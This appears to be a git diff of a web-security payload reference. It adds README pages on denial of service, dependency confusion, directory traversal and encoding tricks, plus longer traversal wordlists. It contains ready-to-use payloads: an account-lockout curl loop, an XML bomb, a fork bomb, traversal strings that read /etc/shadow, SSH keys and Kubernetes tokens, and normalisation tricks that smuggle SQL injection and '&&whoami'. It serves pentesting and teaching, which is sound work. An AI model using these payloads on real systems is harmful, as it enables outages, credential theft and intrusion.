- [DOM Clobbering - HackTricks - January 27, 2023](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
|
||||
- [DOM Clobbering - PortSwigger - September 25, 2020](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
- [DOM Clobbering strikes back - Gareth Heyes - 06 February 2020](https://portswigger.net/research/dom-clobbering-strikes-back)
|
||||
- [Hijacking service workers via DOM Clobbering - Gareth Heyes - 29 November 2022](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
101
Denial of Service/README.md
Normal file
101
Denial of Service/README.md
Normal file
|
|
@ -0,0 +1,101 @@
|
|||
# Denial of Service
|
||||
|
||||
> A Denial of Service (DoS) attack aims to make a service unavailable by overwhelming it with a flood of illegitimate requests or exploiting vulnerabilities in the target's software to crash or degrade performance. In a Distributed Denial of Service (DDoS), attackers use multiple sources (often compromised machines) to perform the attack simultaneously.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Locking Customer Accounts](#locking-customer-accounts)
|
||||
* [File Limits on FileSystem](#file-limits-on-filesystem)
|
||||
* [Memory Exhaustion - Technology Related](#memory-exhaustion---technology-related)
|
||||
* [References](#references)
|
||||
|
||||
## Methodology
|
||||
|
||||
Here are some examples of Denial of Service (DoS) attacks. These examples should serve as a reference for understanding the concept, but any DoS testing should be conducted cautiously, as it can disrupt the target environment and potentially result in loss of access or exposure of sensitive data.
|
||||
|
||||
### Locking Customer Accounts
|
||||
|
||||
Example of Denial of Service that can occur when testing customer accounts.
|
||||
Be very careful as this is most likely **out-of-scope** and can have a high impact on the business.
|
||||
|
||||
* Multiple attempts on the login page when the account is temporary/indefinitely banned after X bad attempts.
|
||||
|
||||
```ps1
|
||||
for i in {1..100}; do curl -X POST -d "username=user&password=wrong" <target_login_url>; done
|
||||
```
|
||||
|
||||
### File Limits on FileSystem
|
||||
|
||||
When a process is writing a file on the server, try to reach the maximum number of files allowed by the filesystem format. The system should output a message: `No space left on device` when the limit is reached.
|
||||
|
||||
| Filesystem | Maximum Inodes |
|
||||
| --- | --- |
|
||||
| BTRFS | 2^64 (~18 quintillion) |
|
||||
| EXT4 | ~4 billion |
|
||||
| FAT32 | ~268 million files |
|
||||
| NTFS | ~4.2 billion (MFT entries) |
|
||||
| XFS | Dynamic (disk size) |
|
||||
| ZFS | ~281 trillion |
|
||||
|
||||
An alternative of this technique would be to fill a file used by the application until it reaches the maximum size allowed by the filesystem, for example it can occur on a SQLite database or a log file.
|
||||
|
||||
FAT32 has a significant limitation of **4 GB**, which is why it's often replaced with exFAT or NTFS for larger files.
|
||||
|
||||
Modern filesystems like BTRFS, ZFS, and XFS support exabyte-scale files, well beyond current storage capacities, making them future-proof for large datasets.
|
||||
|
||||
### Memory Exhaustion - Technology Related
|
||||
|
||||
Depending on the technology used by the website, an attacker may have the ability to trigger specific functions or paradigm that will consume a huge chunk of memory.
|
||||
|
||||
* **XML External Entity**: Billion laughs attack/XML bomb
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE lolz [
|
||||
<!ENTITY lol "lol">
|
||||
<!ELEMENT lolz (#PCDATA)>
|
||||
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
|
||||
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
|
||||
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
|
||||
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
|
||||
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
|
||||
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
|
||||
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
|
||||
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
|
||||
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
|
||||
]>
|
||||
<lolz>&lol9;</lolz>
|
||||
```
|
||||
|
||||
* **GraphQL**: Deeply-nested GraphQL queries.
|
||||
|
||||
```ps1
|
||||
query {
|
||||
repository(owner:"rails", name:"rails") {
|
||||
assignableUsers (first: 100) {
|
||||
nodes {
|
||||
repositories (first: 100) {
|
||||
nodes {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
* **Image Resizing**: try to send invalid pictures with modified headers, e.g: abnormal size, big number of pixels.
|
||||
* **SVG handling**: SVG file format is based on XML, try the billion laughs attack.
|
||||
* **Regular Expression**: ReDoS
|
||||
* **Fork Bomb**: rapidly creates new processes in a loop, consuming system resources until the machine becomes unresponsive.
|
||||
|
||||
```ps1
|
||||
:(){ :|:& };:
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [DEF CON 32 - Practical Exploitation of DoS in Bug Bounty - Roni Lupin Carta - October 16, 2024](https://youtu.be/b7WlUofPJpU)
|
||||
* [Denial of Service Cheat Sheet - OWASP Cheat Sheet Series - July 16, 2019](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html)
|
||||
39
Dependency Confusion/README.md
Normal file
39
Dependency Confusion/README.md
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
# Dependency Confusion
|
||||
|
||||
> A dependency confusion attack or supply chain substitution attack occurs when a software installer script is tricked into pulling a malicious code file from a public repository instead of the intended file of the same name from an internal repository.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [NPM Example](#npm-example)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [visma-prodsec/confused](https://github.com/visma-prodsec/confused) - Tool to check for dependency confusion vulnerabilities in multiple package management systems
|
||||
* [synacktiv/DepFuzzer](https://github.com/synacktiv/DepFuzzer) - Tool used to find dependency confusion or project where owner's email can be takeover.
|
||||
|
||||
## Methodology
|
||||
|
||||
Look for `npm`, `pip`, `gem` packages, the methodology is the same : you register a public package with the same name of private one used by the company and then you wait for it to be used.
|
||||
|
||||
* **DockerHub**: Dockerfile image
|
||||
* **JavaScript** (npm): package.json
|
||||
* **MVN** (maven): pom.xml
|
||||
* **PHP** (composer): composer.json
|
||||
* **Python** (pypi): requirements.txt
|
||||
|
||||
### NPM Example
|
||||
|
||||
* List all the packages (ie: package.json, composer.json, ...)
|
||||
* Find the package missing from [www.npmjs.com](https://www.npmjs.com/)
|
||||
* Register and create a **public** package with the same name
|
||||
* Package example : [0xsapra/dependency-confusion-expoit](https://github.com/0xsapra/dependency-confusion-expoit)
|
||||
|
||||
## References
|
||||
|
||||
* [Exploiting Dependency Confusion - Aman Sapra (0xsapra) - 2 Jul 2021](https://0xsapra.github.io/website//Exploiting-Dependency-Confusion)
|
||||
* [Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies - Alex Birsan - 9 Feb 2021](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [3 Ways to Mitigate Risk When Using Private Package Feeds - Microsoft - 29/03/2021](https://web.archive.org/web/20210210121930/https://azure.microsoft.com/en-gb/resources/3-ways-to-mitigate-risk-using-private-package-feeds/)
|
||||
* [$130,000+ Learn New Hacking Technique in 2021 - Dependency Confusion - Bug Bounty Reports Explained - 22 févr. 2021](https://www.youtube.com/watch?v=zFHJwehpBrU)
|
||||
10
Traversal directory/deep_traversal.txt → Directory Traversal/Intruder/deep_traversal.txt
Executable file → Normal file
10
Traversal directory/deep_traversal.txt → Directory Traversal/Intruder/deep_traversal.txt
Executable file → Normal file
|
|
@ -6,6 +6,14 @@
|
|||
../../../../../../{FILE}
|
||||
../../../../../../../{FILE}
|
||||
../../../../../../../../{FILE}
|
||||
..;/{FILE}
|
||||
..;/..;/{FILE}
|
||||
..;/..;/..;/{FILE}
|
||||
..;/..;/..;/..;/{FILE}
|
||||
..;/..;/..;/..;/..;/{FILE}
|
||||
..;/..;/..;/..;/..;/..;/{FILE}
|
||||
..;/..;/..;/..;/..;/..;/..;/{FILE}
|
||||
..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
|
||||
..%2f{FILE}
|
||||
..%2f..%2f{FILE}
|
||||
..%2f..%2f..%2f{FILE}
|
||||
|
|
@ -876,4 +884,4 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||
..\..\\..\..\\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\..\\\{FILE}
|
||||
..\..\\..\..\\..\..\\..\..\\\{FILE}
|
||||
10
Traversal directory/directory_traversal.txt → Directory Traversal/Intruder/directory_traversal.txt
Executable file → Normal file
10
Traversal directory/directory_traversal.txt → Directory Traversal/Intruder/directory_traversal.txt
Executable file → Normal file
|
|
@ -129,4 +129,12 @@ C:\boot.ini
|
|||
/../../../../../../../../../../../boot.ini%00.jpg
|
||||
/.../.../.../.../.../
|
||||
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
|
||||
0
Traversal directory/dotdotpwn.txt → Directory Traversal/Intruder/dotdotpwn.txt
Executable file → Normal file
0
Traversal directory/dotdotpwn.txt → Directory Traversal/Intruder/dotdotpwn.txt
Executable file → Normal file
|
|
@ -877,11 +877,11 @@
|
|||
/..\..\\..\..\\..\..\\\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\\\{FILE}
|
||||
/..\..\\..\..\\..\..\\..\..\\\{FILE}
|
||||
/\..%2f
|
||||
/\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f
|
||||
/\..%2f{FILE}
|
||||
/\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
/\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f\..%2f{FILE}
|
||||
355
Directory Traversal/README.md
Normal file
355
Directory Traversal/README.md
Normal file
|
|
@ -0,0 +1,355 @@
|
|||
# Directory Traversal
|
||||
|
||||
> Path Traversal, also known as Directory Traversal, is a type of security vulnerability that occurs when an attacker manipulates variables that reference files with “dot-dot-slash (../)” sequences or similar constructs. This can allow the attacker to access arbitrary files and directories stored on the file system.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Methodology](#methodology)
|
||||
* [URL Encoding](#url-encoding)
|
||||
* [Double URL Encoding](#double-url-encoding)
|
||||
* [Unicode Encoding](#unicode-encoding)
|
||||
* [Overlong UTF-8 Unicode Encoding](#overlong-utf-8-unicode-encoding)
|
||||
* [Mangled Path](#mangled-path)
|
||||
* [NULL Bytes](#null-bytes)
|
||||
* [Reverse Proxy URL Implementation](#reverse-proxy-url-implementation)
|
||||
* [Exploit](#exploit)
|
||||
* [UNC Share](#unc-share)
|
||||
* [ASPNET Cookieless](#asp-net-cookieless)
|
||||
* [IIS Short Name](#iis-short-name)
|
||||
* [Java URL Protocol](#java-url-protocol)
|
||||
* [Path Traversal](#path-traversal)
|
||||
* [Linux Files](#linux-files)
|
||||
* [Windows Files](#windows-files)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [wireghoul/dotdotpwn](https://github.com/wireghoul/dotdotpwn) - The Directory Traversal Fuzzer
|
||||
|
||||
```powershell
|
||||
perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
|
||||
```
|
||||
|
||||
## Methodology
|
||||
|
||||
We can use the `..` characters to access the parent directory, the following strings are several encoding that can help you bypass a poorly implemented filter.
|
||||
|
||||
```powershell
|
||||
../
|
||||
..\
|
||||
..\/
|
||||
%2e%2e%2f
|
||||
%252e%252e%252f
|
||||
%c0%ae%c0%ae%c0%af
|
||||
%uff0e%uff0e%u2215
|
||||
%uff0e%uff0e%u2216
|
||||
```
|
||||
|
||||
### URL Encoding
|
||||
|
||||
| Character | Encoded |
|
||||
| --- | -------- |
|
||||
| `.` | `%2e` |
|
||||
| `/` | `%2f` |
|
||||
| `\` | `%5c` |
|
||||
|
||||
**Example:** IPConfigure Orchid Core VMS 2.0.5 - Local File Inclusion
|
||||
|
||||
```ps1
|
||||
{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
|
||||
```
|
||||
|
||||
### Double URL Encoding
|
||||
|
||||
Double URL encoding is the process of applying URL encoding twice to a string. In URL encoding, special characters are replaced with a % followed by their hexadecimal ASCII value. Double encoding repeats this process on the already encoded string.
|
||||
|
||||
| Character | Encoded |
|
||||
| --- | -------- |
|
||||
| `.` | `%252e` |
|
||||
| `/` | `%252f` |
|
||||
| `\` | `%255c` |
|
||||
|
||||
**Example:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271)
|
||||
|
||||
```ps1
|
||||
{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
|
||||
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
|
||||
```
|
||||
|
||||
### Unicode Encoding
|
||||
|
||||
| Character | Encoded |
|
||||
| --- | -------- |
|
||||
| `.` | `%u002e` |
|
||||
| `/` | `%u2215` |
|
||||
| `\` | `%u2216` |
|
||||
|
||||
**Example**: Openfire Administration Console - Authentication Bypass (CVE-2023-32315)
|
||||
|
||||
```js
|
||||
{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
|
||||
```
|
||||
|
||||
### Overlong UTF-8 Unicode Encoding
|
||||
|
||||
The UTF-8 standard mandates that each codepoint is encoded using the minimum number of bytes necessary to represent its significant bits. Any encoding that uses more bytes than required is referred to as "overlong" and is considered invalid under the UTF-8 specification. This rule ensures a one-to-one mapping between codepoints and their valid encodings, guaranteeing that each codepoint has a single, unique representation.
|
||||
|
||||
| Character | Encoded |
|
||||
| --- | -------- |
|
||||
| `.` | `%c0%2e`, `%e0%40%ae`, `%c0%ae` |
|
||||
| `/` | `%c0%af`, `%e0%80%af`, `%c0%2f` |
|
||||
| `\` | `%c0%5c`, `%c0%80%5c` |
|
||||
|
||||
### Mangled Path
|
||||
|
||||
Sometimes you encounter a WAF which remove the `../` characters from the strings, just duplicate them.
|
||||
|
||||
```powershell
|
||||
..././
|
||||
...\.\
|
||||
```
|
||||
|
||||
**Example:**: Mirasys DVMS Workstation <=5.12.6
|
||||
|
||||
```ps1
|
||||
{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini
|
||||
```
|
||||
|
||||
### NULL Bytes
|
||||
|
||||
A null byte (`%00`), also known as a null character, is a special control character (0x00) in many programming languages and systems. It is often used as a string terminator in languages like C and C++. In directory traversal attacks, null bytes are used to manipulate or bypass server-side input validation mechanisms.
|
||||
|
||||
**Example:** Homematic CCU3 CVE-2019-9726
|
||||
|
||||
```js
|
||||
{{BaseURL}}/.%00./.%00./etc/passwd
|
||||
```
|
||||
|
||||
**Example:** Kyocera Printer d-COPIA253MF CVE-2020-23575
|
||||
|
||||
```js
|
||||
{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm
|
||||
```
|
||||
|
||||
### Reverse Proxy URL Implementation
|
||||
|
||||
Nginx treats `/..;/` as a directory while Tomcat treats it as it would treat `/../` which allows us to access arbitrary servlets.
|
||||
|
||||
```powershell
|
||||
..;/
|
||||
```
|
||||
|
||||
**Example**: Pascom Cloud Phone System CVE-2021-45967
|
||||
|
||||
A configuration error between NGINX and a backend Tomcat server leads to a path traversal in the Tomcat server, exposing unintended endpoints.
|
||||
|
||||
```js
|
||||
{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}
|
||||
```
|
||||
|
||||
## Exploit
|
||||
|
||||
These exploits affect mechanism linked to specific technologies.
|
||||
|
||||
### UNC Share
|
||||
|
||||
A UNC (Universal Naming Convention) share is a standard format used to specify the location of resources, such as shared files, directories, or devices, on a network in a platform-independent manner. It is commonly used in Windows environments but is also supported by other operating systems.
|
||||
|
||||
An attacker can inject a **Windows** UNC share (`\\UNC\share\name`) into a software system to potentially redirect access to an unintended location or arbitrary file.
|
||||
|
||||
```powershell
|
||||
\\localhost\c$\windows\win.ini
|
||||
```
|
||||
|
||||
Also the machine might also authenticate on this remote share, thus sending an NTLM exchange.
|
||||
|
||||
### ASP NET Cookieless
|
||||
|
||||
When cookieless session state is enabled. Instead of relying on a cookie to identify the session, ASP.NET modifies the URL by embedding the Session ID directly into it.
|
||||
|
||||
For example, a typical URL might be transformed from: `http://example.com/page.aspx` to something like: `http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx`. The value within `(S(...))` is the Session ID.
|
||||
|
||||
| .NET Version | URI |
|
||||
| -------------- | -------------------------- |
|
||||
| V1.0, V1.1 | /(XXXXXXXX)/ |
|
||||
| V2.0+ | /(S(XXXXXXXX))/ |
|
||||
| V2.0+ | /(A(XXXXXXXX)F(YYYYYYYY))/ |
|
||||
| V2.0+ | ... |
|
||||
|
||||
We can use this behavior to bypass filtered URLs.
|
||||
|
||||
* If your application is in the main folder
|
||||
|
||||
```ps1
|
||||
/(S(X))/
|
||||
/(Y(Z))/
|
||||
/(G(AAA-BBB)D(CCC=DDD)E(0-1))/
|
||||
/(S(X))/admin/(S(X))/main.aspx
|
||||
/(S(x))/b/(S(x))in/Navigator.dll
|
||||
```
|
||||
|
||||
* If your application is in a subfolder
|
||||
|
||||
```ps1
|
||||
/MyApp/(S(X))/
|
||||
/admin/(S(X))/main.aspx
|
||||
/admin/Foobar/(S(X))/../(S(X))/main.aspx
|
||||
```
|
||||
|
||||
| CVE | Payload |
|
||||
| -------------- | ---------------------------------------------- |
|
||||
| CVE-2023-36899 | /WebForm/(S(X))/prot/(S(X))ected/target1.aspx |
|
||||
| - | /WebForm/(S(X))/b/(S(X))in/target2.aspx |
|
||||
| CVE-2023-36560 | /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/ |
|
||||
| - | /WebForm/b/(S(X))in/target2.aspx/(S(X))/ |
|
||||
|
||||
### IIS Short Name
|
||||
|
||||
The IIS Short Name vulnerability exploits a quirk in Microsoft's Internet Information Services (IIS) web server that allows attackers to determine the existence of files or directories with names longer than the 8.3 format (also known as short file names) on a web server.
|
||||
|
||||
* [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)
|
||||
|
||||
```ps1
|
||||
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
|
||||
java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
|
||||
```
|
||||
|
||||
* [bitquark/shortscan](https://github.com/bitquark/shortscan)
|
||||
|
||||
```ps1
|
||||
shortscan http://example.org/
|
||||
```
|
||||
|
||||
### Java URL Protocol
|
||||
|
||||
Java's URL protocol when `new URL('')` is used allows the format `url:URL`
|
||||
|
||||
```powershell
|
||||
url:file:///etc/passwd
|
||||
url:http://127.0.0.1:8080
|
||||
```
|
||||
|
||||
## Path Traversal
|
||||
|
||||
### Linux Files
|
||||
|
||||
* Operating System and Informations
|
||||
|
||||
```powershell
|
||||
/etc/issue
|
||||
/etc/group
|
||||
/etc/hosts
|
||||
/etc/motd
|
||||
```
|
||||
|
||||
* Processes
|
||||
|
||||
```ps1
|
||||
/proc/[0-9]*/fd/[0-9]* # first number is the PID, second is the filedescriptor
|
||||
/proc/self/environ
|
||||
/proc/version
|
||||
/proc/cmdline
|
||||
/proc/sched_debug
|
||||
/proc/mounts
|
||||
```
|
||||
|
||||
* Network
|
||||
|
||||
```ps1
|
||||
/proc/net/arp
|
||||
/proc/net/route
|
||||
/proc/net/tcp
|
||||
/proc/net/udp
|
||||
```
|
||||
|
||||
* Current Path
|
||||
|
||||
```ps1
|
||||
/proc/self/cwd/index.php
|
||||
/proc/self/cwd/main.py
|
||||
```
|
||||
|
||||
* Indexing
|
||||
|
||||
```ps1
|
||||
/var/lib/mlocate/mlocate.db
|
||||
/var/lib/plocate/plocate.db
|
||||
/var/lib/mlocate.db
|
||||
```
|
||||
|
||||
* Credentials and history
|
||||
|
||||
```ps1
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/home/$USER/.bash_history
|
||||
/home/$USER/.ssh/id_rsa
|
||||
/etc/mysql/my.cnf
|
||||
```
|
||||
|
||||
* Kubernetes
|
||||
|
||||
```ps1
|
||||
/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/run/secrets/kubernetes.io/serviceaccount/certificate
|
||||
/var/run/secrets/kubernetes.io/serviceaccount
|
||||
```
|
||||
|
||||
### Windows Files
|
||||
|
||||
The files `license.rtf` and `win.ini` are consistently present on modern Windows systems, making them a reliable target for testing path traversal vulnerabilities. While their content isn't particularly sensitive or interesting, they serves well as a proof of concept.
|
||||
|
||||
```powershell
|
||||
C:\Windows\win.ini
|
||||
C:\windows\system32\license.rtf
|
||||
```
|
||||
|
||||
A list of files / paths to probe when arbitrary files can be read on a Microsoft Windows operating system: [soffensive/windowsblindread](https://github.com/soffensive/windowsblindread)
|
||||
|
||||
```powershell
|
||||
c:/inetpub/logs/logfiles
|
||||
c:/inetpub/wwwroot/global.asa
|
||||
c:/inetpub/wwwroot/index.asp
|
||||
c:/inetpub/wwwroot/web.config
|
||||
c:/sysprep.inf
|
||||
c:/sysprep.xml
|
||||
c:/sysprep/sysprep.inf
|
||||
c:/sysprep/sysprep.xml
|
||||
c:/system32/inetsrv/metabase.xml
|
||||
c:/sysprep.inf
|
||||
c:/sysprep.xml
|
||||
c:/sysprep/sysprep.inf
|
||||
c:/sysprep/sysprep.xml
|
||||
c:/system volume information/wpsettings.dat
|
||||
c:/system32/inetsrv/metabase.xml
|
||||
c:/unattend.txt
|
||||
c:/unattend.xml
|
||||
c:/unattended.txt
|
||||
c:/unattended.xml
|
||||
c:/windows/repair/sam
|
||||
c:/windows/repair/system
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [PortSwigger - File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple)
|
||||
* [PortSwigger - File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
|
||||
* [PortSwigger - File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
|
||||
* [PortSwigger - File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
|
||||
* [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
|
||||
* [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
|
||||
|
||||
## References
|
||||
|
||||
* [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://twitter.com/irsdl/status/1640390106312835072)
|
||||
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
|
||||
* [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
|
||||
* [Directory traversal attack - Wikipedia - August 5, 2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
|
||||
* [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
|
||||
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
|
||||
* [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
|
||||
* [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
|
||||
* [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))
|
||||
111
Encoding Transformations/README.md
Normal file
111
Encoding Transformations/README.md
Normal file
|
|
@ -0,0 +1,111 @@
|
|||
# Encoding and Transformations
|
||||
|
||||
> Encoding and Transformations are techniques that change how data is represented or transferred without altering its core meaning. Common examples include URL encoding, Base64, HTML entity encoding, and Unicode transformations. Attackers use these methods as gadgets to bypass input filters, evade web application firewalls, or break out of sanitization routines.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Unicode](#unicode)
|
||||
* [Unicode Normalization](#unicode-normalization)
|
||||
* [Punycode](#punycode)
|
||||
* [Base64](#base64)
|
||||
* [Labs](#labs)
|
||||
* [References](#references)
|
||||
|
||||
## Unicode
|
||||
|
||||
Unicode is a universal character encoding standard used to represent text from virtually every writing system in the world. Each character (letters, numbers, symbols, emojis) is assigned a unique code point (for example, U+0041 for "A"). Unicode encoding formats like UTF-8 and UTF-16 specify how these code points are stored as bytes.
|
||||
|
||||
### Unicode Normalization
|
||||
|
||||
Unicode normalization is the process of converting Unicode text into a standardized, consistent form so that equivalent characters are represented the same way in memory.
|
||||
|
||||
[Unicode Normalization reference table](https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html)
|
||||
|
||||
* **NFC** (Normalization Form Canonical Composition): Combines decomposed sequences into precomposed characters where possible.
|
||||
* **NFD** (Normalization Form Canonical Decomposition): Breaks characters into their decomposed forms (base + combining marks).
|
||||
* **NFKC** (Normalization Form Compatibility Composition): Like NFC, but also replaces characters with compatibility equivalents (may change appearance/format).
|
||||
* **NFKD** (Normalization Form Compatibility Decomposition): Like NFD, but also decomposes compatibility characters.
|
||||
|
||||
| Character | Payload | After Normalization |
|
||||
| ------------ | --------------------- | --------------------- |
|
||||
| `‥` (U+2025) | `‥/‥/‥/etc/passwd` | `../../../etc/passwd` |
|
||||
| `︰` (U+FE30) | `︰/︰/︰/etc/passwd` | `../../../etc/passwd` |
|
||||
| `'` (U+FF07) | `' or '1'='1` | `' or '1'='1` |
|
||||
| `"` (U+FF02) | `" or "1"="1` | `" or "1"="1` |
|
||||
| `﹣` (U+FE63) | `admin'﹣﹣` | `admin'--` |
|
||||
| `。` (U+3002) | `domain。com` | `domain.com` |
|
||||
| `/` (U+FF0F) | `//domain.com` | `//domain.com` |
|
||||
| `<` (U+FF1C) | `<img src=a>` | `<img src=a/>` |
|
||||
| `﹛` (U+FE5B) | `﹛﹛3+3﹜﹜` | `{{3+3}}` |
|
||||
| `[` (U+FF3B) | `[[5+5]]` | `[[5+5]]` |
|
||||
| `&` (U+FF06) | `&&whoami` | `&&whoami` |
|
||||
| `p` (U+FF50) | `shell.pʰp` | `shell.php` |
|
||||
| `ʰ` (U+02B0) | `shell.pʰp` | `shell.php` |
|
||||
